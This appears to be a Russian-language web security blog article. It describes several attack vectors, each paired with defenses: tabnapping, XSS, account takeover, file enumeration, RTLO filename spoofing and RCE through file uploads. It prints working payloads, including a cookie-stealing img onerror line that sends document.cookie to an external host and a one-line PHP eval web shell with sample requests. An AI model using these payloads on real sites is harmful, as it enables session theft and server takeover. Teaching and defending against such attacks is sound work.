15 Апреля 2021
Reading time: 8 min
Целью данной статьи является практически реальные примеры векторов атак и их решения. Не используйте данные атаки и любые другие без согласия сайта, это наказуемо законом.
Tabnapping
В ссылке
Злоумышленник размещает ссылку на свой сайт, где на странице злоумышленника будет код:
<script>
window.opener.location.replace('http://example.com'); // фишинговый сайт очень похожий на оригинальный
</script>
Жертва переходит по этой ссылке, в результате старая вкладка меняется на фишинговую страницу, например с логином. Жертва логинится и отдает свои данные для входа злоумышленнику.
Решением данной проблемы может являться:
Добавление всем ссылкам, которые может написать на сайте пользователь атрибута rel = "nofollow noopener".
Теперь у сайта злоумышленника не будет доступа к сайту, с которого на него перешли.
2. В файле
Злоумышленник может указать ссылку на сайт с вредоносным кодом в файле PDF. Код вставляемый в PDF:
411 0 obj
<<
/Type /Action
/S/URI/URI(http://example.com)
>>
endobj
Жертва кликает на ссылку в файле и повторяет действия, описанные выше.
Решением данной проблемы может являться:
Открывать файл в новой вкладке, без доступа к родительской.
Хранить файлы на другом домене.
XSS
1. XSS в SVG
Если на сайте разрешено загружать файлы изображений типа SVG, и сайт размещает их не в теге img. То он с очень большой вероятностью подвергается атаке XSS. А если в теге img, то XSS сработает, когда изображение откроют в новой вкладке.
Пример изображения SVG с кодом JS:
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert(1);
</script>
</svg>
Решением данной проблемы может являться:
Удаление всего из SVG, что не является изображением.
В идеале запретить загружать файлы SVG.
Проверять файл не по расширению, а по содержимому является ли он файлом изображения.
2. XSS в ссылке
Принято считать, что <a href="javascript:alert(1)" target="_blank">CLICK ME</a> наличие атрибута target="_blank защитит от XSS в ссылке, из-за защиты браузера и мы получи about:blank#blocked.
Но существуют браузеры которые <a href="javascript:alert(1)" target="_blank">CLICK ME</a> откроют так же как и <a href="javascript:alert(1)">CLICK ME</a> в результате сработает XSS.
Решением данной проблемы может являться:
Проверка ссылок на этапе ввода / отображения на валидность и отсутствие JS кода. В случае наличия JS кода или не валидности ссылки, необходимо запрещать ссылки.
3. XSS в чате/ поле ввода
Злоумышленник пишет в чат пользователю / поддержке код вида:
<img src=x onerror="javascript:document.location='https://site.com/d.php?cookie=' + escape(document.cookie)">
Так как изображения нет выполняется onerror и отправляются куки пользователя на сайт злоумышленника.
Решением данной проблемы может являться:
Не допускать выполнения текста как кода.
Никогда не использовать eval('код').
Настроить CSP со списком сайтов на которые можно отправляться запросы и другие ресурсы.
Account takeover
1. Ранее созданный аккаунт злоумышленником
Злоумышленник создает аккаунт на сайте по почте и паролю.
Сайт не требует подтвердить почты пользователя.
Теперь жертва входит на этот же сайт через любую соц сеть с той же почтой.
Делает какие-либо операции на сайте, пишет сообщения и т.д.
Злоумышленник входит по паролю и почте и видит все данные пользователя.
Если на сайте есть транзакции / сообщения и другие личные данные, то они все попадают в руки злоумышленнику.
Решением данной проблемы может являться:
Сообщение на почту с просьбой подтвердить аккаунт.
Запретить входить через соц сеть, если был вход по паролю. А только дополнительно добавить вход через соц сеть в настройках аккаунта.
2. Сессия
Если на сайте сессия пользователя имеет бесконечный срок жизни, или не обнуляется после логаута. Это является большой проблемой. Злоумышленник может украсть сессию (например, через XSS) и пользоваться ей сколько угодно времени.
Решением данной проблемы может являться:
Давать жизнь сессии на не длительный период.
Обнулять сессию после выхода из аккаунта.
Иметь возможность в админке обнулять сессии.
Information Disclosure
Кража личных файлов
Файлы из личных сообщений пользователя строятся по URL
/files/user-id/file-id
Где user-id юзер открытая информация, а file-id не уникальные UUID, а просто число 1000, 1001 и т.д.
В результате злоумышленник может получить все приватные файлы пользователя, сбрутив за некоторое время все варианты URL.
Решением данной проблемы может являться:
Генерировать UUID место обычного числа.
Генерировать дополнительный под путь на файлы по N штук.
Давать доступ к файлам только авторизованным пользователям, отправителю и получателю.
RTLO
Злоумышленник создает файл с исполняемым кодом exe например.
Называет его с использованием символа RTLO RTLOgpj.exe и отправляет его как файл в чате с пользователем.
Если чат не умеет обрабатывать RTLO символ, то жертва получит файл RTLOexe.jpg и откроет его, думая, что это файл изображения.
Так же что бы жертва не поняла, многие злоумышленники называют файл длинным именем, чтобы последние символы расширения "exe" не были видны RTLOabcde....jpg.
В результате злоумышленник получает полноценный доступ к компьютеру пользователя.
Решением данной проблемы может являться:
Удалять RTLO символ на этапе загрузки файла.
RCE
Если сайт поддерживает PHP - это очень благоприятная обстановка для реализации RCE. Когда на сайте отсутствует проверка файлов по типу, или их сжатие, то можно загрузить вредоносный файл GIF с кодом PHP или сразу php файл.
В файле GIF есть специальный байт, после которого можно добавить код PHP.
Код PHP будет выглядеть так, чтобы мы могли сделать, что угодно:
<?php eval($_GET["cmd"]);?>
А запросы будут выглядеть так:
/file.php?cmd=phpinfo();
/file.gif?cmd=phpinfo();
В результате выполниться код и мы получим:
file.php?cmd=echo%20readfile("filename.txt","r");
/file.gif?cmd=echo%20readfile("filename.txt","r");
В результате выполниться код и мы получим:
Решением данной проблемы может являться:
Сжатие файлов, удаление exif информации.
Все описанные выше проблемы были найденные в актуальных версиях сайтов, которые мы все знаем.
Читайте также